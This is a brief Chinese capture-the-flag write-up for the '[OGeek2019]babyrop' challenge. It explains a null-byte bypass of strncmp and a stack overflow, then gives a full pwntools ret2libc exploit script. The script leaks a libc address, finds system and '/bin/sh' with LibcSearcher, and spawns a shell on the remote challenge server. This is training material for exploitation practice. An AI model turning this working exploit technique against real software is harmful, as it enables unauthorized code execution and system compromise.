[OGeek2019]babyrop
伪代码如下,先获取一个随机数
然后用strncmp比较用户输入的值和随机数,这里可以用 \x00 来绕过strncmp,因为strlen遇到 \x00 会停止
因为a1是函数sub_804871F的返回值,那就让a1为 \xff 这样就可以进行栈溢出了
然后通过栈溢出来getshell,这里用libcsearcher模块
脚本如下
# -*- coding:utf-8 -*- from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',29889) #r=process('./pwn') elf=ELF('./pwn') write_plt=elf.plt['write'] read_got=elf.got['read'] read_plt=elf.plt['read'] main_addr=0x8048825 payload1='\x00'+'\xff'*0x7 r.sendline(payload1) r.recvuntil('Correct\n') #泄露read的got地址 payload='a'*0xe7+'b'*0x4 payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8) r.sendline(payload) read_addr=u32(r.recv(4)) print('[+]read_addr: ',hex(read_addr)) libc=LibcSearcher('read',read_addr) libc_base=read_addr-libc.dump('read') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh') r.sendline(payload1) r.recvuntil('Correct\n') payload='a'*0xe7+'b'*0x4 payload+=p32(system_addr)*2+p32(bin_sh_addr) r.sendline(payload) r.interactive()